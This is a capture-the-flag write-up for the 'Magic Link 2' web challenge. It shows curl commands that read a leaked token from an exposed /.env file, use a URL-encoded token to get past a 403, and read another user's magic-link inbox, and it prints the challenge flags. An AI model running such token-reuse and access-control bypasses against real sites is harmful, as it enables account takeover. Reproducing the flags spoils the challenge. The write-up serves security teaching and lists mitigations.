Skip to main content

Magic Link 2

Challenge​

Content preserved from the original writeup source. Minimal normalization was applied to fit platform format.

Solution​

Original Writeup Content (Preserved)​

Magic Link 2 Writeup

Challenge URL: https://bluehens-magic-link.chals.io/
Flag format: udctf{}

Summary​

The solve path was to access a protected inbox endpoint using a URL-encoded token leaked in .env, then trigger and read a fresh magic-link email. The inbox page itself revealed the flag.

Recon​

  1. Visited / and found a Magic Link login form posting to /login.
  2. Checked robots.txt and found hidden paths:
    • /inbox
    • /dashboard
    • /.env
  3. Requested /.env and got:
    • TEDDYS_TOKEN=udctf{d0n7_h057_y0ur_3nv_f113}
    • INBOX_URL=http://localhost:5050/inbox?token=${TEDDYS_TOKEN}

Key Trick​

Directly requesting /inbox with raw token failed (403).
Using URL-encoded token worked.

Working request:

curl -sS 'https://bluehens-magic-link.chals.io/inbox?token=udctf%7Bd0n7_h057_y0ur_3nv_f113%7D' -o /tmp/inbox.html

Then generate a fresh Teddy login email and refresh inbox:

curl -sS -X POST https://bluehens-magic-link.chals.io/login -d 'email=teddy@udctf.com'
curl -sS 'https://bluehens-magic-link.chals.io/inbox?token=udctf%7Bd0n7_h057_y0ur_3nv_f113%7D' -o /tmp/inbox2.html

Extract meaningful lines:

grep -n '[^[:space:]]' /tmp/inbox2.html | head -n 200

Observed:

  • <li><a href="/login/WryTFgDHNc-qaK5JWo7WDw">Click here to login</a></li>
  • <p>udctf{m4g1c_l1nks_4r3_w31rd}</p>

Flag​

udctf{m4g1c_l1nks_4r3_w31rd}

Root Cause​

  • Sensitive config leakage via public /.env.
  • Weak access control around inbox token validation.
  • Input handling edge case: token accepted when URL-encoded even though raw form returned 403.

Mitigations​

  1. Never expose .env files.
  2. Use strict server-side auth for inbox access (session-bound, user-bound).
  3. Normalize and validate token input consistently.
  4. Avoid placing sensitive data in client-visible or guessable channels.